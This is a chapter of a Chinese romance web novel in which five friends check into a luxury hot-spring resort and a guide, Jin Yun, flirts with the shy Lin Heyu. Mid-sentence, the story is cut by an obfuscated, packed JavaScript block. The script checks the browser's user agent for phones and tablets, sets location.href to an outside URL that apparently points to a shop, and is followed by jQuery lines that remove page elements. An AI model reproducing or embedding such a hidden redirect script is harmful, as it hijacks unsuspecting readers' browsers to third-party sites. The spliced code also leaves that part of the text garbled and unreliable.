清晨六点半，环山公路还蒙着一层薄雾，八人座商务车像只偷懒的甲虫，慢吞吞地爬行。轮胎碾过碎石，发出那种让人牙酸的“沙沙”声，车厢里却安静得能听见彼此的呼吸——除了马大哈，他正把脸贴在玻璃上哈气画小猪。
“哇哇哇！快看！湖！超级大湖！”他突然炸锅似的嚎叫，整个人差点钻进前排，“我敢打赌，里面肯定住着个水怪！”
关影从耳机里拔出一只耳朵，斜他一眼，懒洋洋地开口：“闭嘴吧你，水怪听见你这嗓门，估计会嫌吵，直接上岸把你拖下去做无声处理。”
马大哈立刻捂住嘴，眼睛却还亮晶晶地往外瞄。
车子又晃了二十多分钟，湖泊一直在右侧若隐若现，晨雾漂浮在水面上，像给湖泊蒙了一层纱。阳光开始穿透树隙，一束光正巧打在周恒君脸上，他默默把帽檐压得更低，喉咙里挤出一个字：“困。”
终于，车子拐进一条被修剪得过分整齐的林荫道，建筑群悄无声息地出现——低矮、流畅、灰白色的墙面嵌在绿树里，玻璃幕墙反射着晨光，却一点都不刺眼，倒像山林自己长出来的骨肉。
车刚停稳，马大哈就跟炮弹似的冲出去，结果被门槛绊了个狗啃泥，管家眼疾手快地侧身让他扑了个空。
“五位贵客，欢迎来到‘鸠山’。”老管家头发花白，笑容像刚从保温杯里倒出来的温水，“请随我来。”
大厅不大，木地板踩上去微微发闷，像踩在百年老树的心脏上。墙上的抽象画颜色低调得过分，马大哈盯着其中一幅看了半天，小声问：“……这玩意儿，是湖吗？还是水怪的内脏？”
关影“啪”地打开折扇，扇面挡住半张脸，笑得幸灾乐祸：“这幅画金贵得很，你个外行可别乱猜了。”
老管家轻咳一声，笑容依旧温润如水，转身朝前台走去：“五位贵客，请随我来办理入住。”
林鹤羽走在队伍最后，步子不紧不慢。轮到他时，老管家从一排整齐的信封里抽出一张房卡，递过来时声音放得极轻：“林先生，您的单人房。”
林鹤羽站在前台最后，安静地接过房卡，指尖扫过卡面时微微顿了一下——单人房。
“我和周恒君一间！”李泽推了推眼镜，镜片反射出一道白光，“完美，我们可以通宵复盘昨天的训练赛。”
周恒君“嗯”了一声，算是回应，肩膀已经先一步往走廊去了。
“等等，那我跟谁？”马大哈傻眼了。
关影晃着房卡，笑得像只终于抓到耗子的猫：“当然是跟我呀。”
马大哈的脸瞬间垮成世界末日：“不！我要单人房！我要跟鹤羽换！鹤羽救命！”
他扑过去抱住林鹤羽的胳膊，整个人挂在上面像条大型柯基。林鹤羽面无表情地抽出手，后退两步，声音清冷：“拒绝。放手，会沾口水。”
“我就沾一下！一秒！”马大哈试图撒娇，结果被关影一把薅住后衣领，像拎小鸡一样提回来。
“放肆。”关影扇子“啪”地合上，敲在马大哈脑门上，发出清脆的“咚”一声，“本少爷的室友，轮得到你挑？”
“痛痛痛！影哥我错了！我给你暖床！”
老管家在旁边轻咳一声，嘴角弯出的弧度怎么看都有点想笑：“各位，客房在走廊尽头，午饭十一点开始，餐厅在二楼。”
马大哈被关影拖着走，还在作垂死挣扎：“鹤羽……救我……我晚上真的会说梦话……还会磨牙……”
林鹤羽目不斜视地往自己房间走，背影清瘦挺拔，声音却远远飘过来，带着一点恶作剧成功的愉悦：“我知道。所以我拒绝得更快。”
身后传来马大哈撕心裂肺的哀嚎，和关影低低的、带着笑意的威胁：“再吵今晚把你绑阳台喂蚊子。”
木地板吸收了所有喧闹，橘黄色的壁灯安静地亮着，窗外晨雾渐渐散开，露出远处若隐若现的湖面。
林鹤羽跟着年轻的工作人员离开大厅，脚下是被晨雾打湿的青石径，石缝里钻出细小的蕨类，像一簇簇柔软的绿色火焰。两侧的杉木高得遮天，树冠在头顶交织成深绿色的穹顶，阳光被切成细碎的金线，落在肩头又滑走。空气湿润，带着松脂和温泉硫磺混合的味道，吸一口，像把整座山都喝进了肺里。
越走越静，鸟叫声都变得小心翼翼。其他四人的背影早已被树影吞没，连马大哈那声夸张的“哇哦”都被隐没与山中，只剩回声在林间打转。前方雾气更浓，像谁掀开了一块湿冷的纱帘，冷不丁露出一点橘红色的屋檐。
木屋终于出现在视野里，单层，深褐色的雪松外墙被岁月磨得温润，屋檐下挂着风铃，风一吹，声音清脆得像冰块互相碰撞。屋前私汤被一圈天然巨石和老梅环抱，热气从石缝里汩汩冒出，在冷空气里凝成白雾，雾里隐约看得见水面漂着几片暗红的枫叶。
“您的房间。”工作人员转身离开，“有事请拨床头的一号键。”
门一推开，木头特有的香气扑面而来，混着一点点檀香和温泉的湿热。房间比想象中大，挑高四米多的横梁上悬着两盏手工纸灯，灯罩里透出米色的光，像被阳光晒过的旧书页。落地窗正对着私汤，窗棂是整块原木挖空做成的，阳光从木纹缝隙里漏进来，在榉木地板上投下斑驳的树影。
标间？林鹤羽扫了一眼，左侧卧室空着，被褥叠得方正；右侧卧室床尾放着他的行李箱，不知何时已经有人送来。推开浴室那面“镜子”，果然是旋转暗门，门轴润滑得没有一丝声响，转过去就是主卧，视野瞬间开阔，窗外的老梅枝桠几乎要探进屋里，梅花含苞待放，粉得近乎透明。
冰箱门上贴着一张手写卡片： 【一切免费，请尽情享用，就像回到自己家一样】 打开，冷气扑面，里面整整齐齐码着荔枝气泡水、比利时巧克力、北海道奶酪，甚至还有一小瓶写着“梅子酒”的玻璃瓶，瓶身蒙着薄薄一层霜。
林鹤羽把浴衣抖开，雪青色的棉布上用极淡的墨线绣着远山和飞鹤。
洗完澡收拾完，时间已近正午，阳光从落地窗外倾泻进来，把温泉水面照得像一面晃动的镜子，热气在玻璃上凝成细小的水珠，慢慢滑下去，留下一道道蜿蜒的痕迹。
回程的石径已被太阳烤得温热，脚踩上去不再冰凉。远处的风铃还在叮叮当当，像山里的精灵在互相打招呼。
二楼餐厅藏在屋檐深处，推开纸门前，能闻到味噌汤和烤鳗鱼的香气。包间里，马大哈正举着一片几乎透明的鲷鱼片对着光研究，嘴里还含糊不清地嚷嚷：
“我发誓那只浣熊刚才在门外冲我眨眼！它绝对认出我了！”
关影的声音传来：“认出你是傻子吧？再喂它，晚上它就敢睡你枕头边。”
林鹤羽一推门，马大哈就跟弹簧似的蹦起来：“鹤羽！你总算来了！”
李泽慢条斯理地放下筷子，露出坏笑：“对了，晚上玩真心话大冒险，我已经准备好问题清单了。”
马大哈含着蟹黄的表情瞬间凝固：“……啥、啥问题？”
李泽推眼镜，反光一闪而逝：“比如，初吻给了谁？第一次梦遗是因为谁？手机里最见不得人的文件夹叫什么名字？”
周恒君补刀：“我还加了骰子，输的人除了回答，还要现场表演复刻当时场景。”
包间安静了整整三秒。
然后马大哈发出杀猪般的嚎叫：“我不同意！这不是度假！这是公开处刑啊！”
午后的阳光像融化的蜂蜜，缓缓淌过整个园区。集合点在山腰的观景台，风裹着温泉的湿热与松针清香扑面而来。林鹤羽刚踏上木栈道，就看见那个再熟悉不过的背影。
晋云坐在导游专用的藤椅里，背对人群，长腿随意交叠。
他抬头，目光先落在林鹤羽身上，只一秒，又若无其事地扫过其他人，嘴角勾起那抹惯常的、让人心安的弧度。
“大家来得挺准时。”他站起身，白衬衫被风扬起一角，腰侧一小截冷白的皮肤在光里晃眼，“我是你们接下来几天的向导，晋云。”
马原嘴张成一个“O”：“学、学长？你在这儿兼职？”
关影直接笑喷，周恒君难得弯了弯嘴角，就连李泽推眼镜的动作都顿了一下。大家似乎都心知肚明，唯独林鹤羽站在原地，耳尖红得几乎滴血。
骗谁呢。
这地方随便一块地砖的造价都够普通人干一辈子，晋云会缺这点“兼职费”？可偏偏他笑得那么自然，仿佛只是随口说了句今天天气不错。唯有林鹤羽不敢抬头，生怕一抬眼就撞进那双早已把他看透的眼睛里。
——
晋云坐在最前排，一只手扶着横杆，另一只手不时抬起，指给大家看远处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053386|194848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的建筑。风把他的衬衫吹得贴在身上，肩胛骨线条清晰，阳光在他的睫毛上碎成细金。
“这里是冷泉区，水温常年二十二度左右，夏天泡很醒脑。”他回头，视线精准掠过众人，最后落在林鹤羽身上，停顿半秒，声音忽然轻下来，“鹤羽怕热，明天可以试试。”
林鹤羽猛地抬头，心脏在胸腔里猛猛跳了一下。他张了张嘴，却只发出一个短促的气音，耳根的红又深了一分。
晋云仿佛什么都没发生，继续介绍景点。
——
观光车穿过银杏林，视野豁然开朗。停机坪尽头停着一架漆成哑光黑的直升机，螺旋桨尚未启动，却已透出一种克制而张扬的奢华。晋云回头，扬了扬下巴：
“明天傍晚有空位，想坐直升机看日落的举手。”
马原立刻把手脚一起举起来：“我我我！学长你要我干啥我就干啥！舔飞机都行！”
关影冷声补刀：“你能不能要点脸？”
马原理直气壮：“脸能换直升机位吗？”
关影：“……”
林鹤羽坐在最后一排，肩贴着车窗，指尖无意识摩挲着袖口。窗外风景奢华得过分，私人马场、玻璃穹顶温室……每一帧都在提醒他——这里连空气都比别处贵。
他垂下眼，睫毛在脸颊投下一小片抖动的阴影。
下一秒，导游位的人影忽然不见了。
晋云不知何时已经绕到后排，挨着他坐下。导游车轻轻一晃，他肩线却稳得像焊死。声音被刻意压低，只够林鹤羽听见：
“在想什么？”
林鹤羽指尖一抖，险些把袖口扯裂。他偏过头，假装看风景，声音绷得发紧：“……没什么。”
晋云低笑，气息擦过耳廓，像一片温热的羽毛。
“别乱想。”他顿了顿，嗓音更低，“鹤羽。”
林鹤羽心口猛地一缩，耳尖几乎烧起来。他别过脸，声音低得快听不见：“……你坐好，很危险。”
晋云不仅没离开，反而靠得更近，肩线贴住他的肩线。隔着薄薄两层布料，体温烫得惊人。
“危险？”他轻声，尾音带着笑，“那你抱紧我。”
话音落下，司机一个急转弯——
轮胎在碎石上“滋啦”划出漂亮弧线。
“啊啊啊司机你杀人啦——！我还没谈过恋爱！！”马原在第三排整个人腾空，抱住前排嚎叫。
惯性袭来，林鹤羽直接撞进晋云怀里。鼻尖磕到那片微敞的锁骨，呼吸里全是雪松混着阳光的味道，热得几乎发烫。
晋云像早有准备，手臂顺势一捞，掌心扣住他后腰，稳稳圈住。低头在他耳边轻笑：
“抱歉，提前跟司机说了。路——确实滑。”
林鹤羽脸几乎烧到脖颈，撑着他胸口想坐直，声音又羞又恼：“……你故意的。”
晋云低低应了一声，语气里全是不加掩饰的愉悦：
“被你发现了。”
电瓶车终于稳住。前排马原嚎得撕心裂肺：“再漂一次我当场给司机磕一个！”
晋云举起小喇叭，语气懒洋洋：
“淡定，那只是热身。”
他垂眼，看向怀里耳尖还红的人，声音低得只剩气息：
“鹤羽，抱紧点，下一段更颠簸。”
林鹤羽：“……”
窗外树叶漫天飞舞，像一场绿色的暴雪。
而他的心跳，比暴雪还乱。
——
夕阳落下时，观光车回到主园区。晋云把他们送到餐厅门口，抬腕看了眼表，语气还是那样漫不经心：
“我去交个班。晚上八点，篝火区木平台，大家一起来玩。”
马原举手：“学长，篝火区可以烧烤吗?”
晋云越过所有人，望向最后方那道始终安静的身影。
“可以。”他声音低了半度，像只说给林鹤羽一个人听，“你只要来。”
转身。背影被夕阳拉得很长，像一根绷紧的金线，牵着某个人的心，越拉越紧，几乎要断。
林鹤羽站在原地，风擦过耳尖，带着潮湿的温泉味。他深吸一口气，耳尖的红终于烧到了整张脸。
他知道，今晚那堆火，大概不止是烧木头。
还会烧掉他最后一点伪装。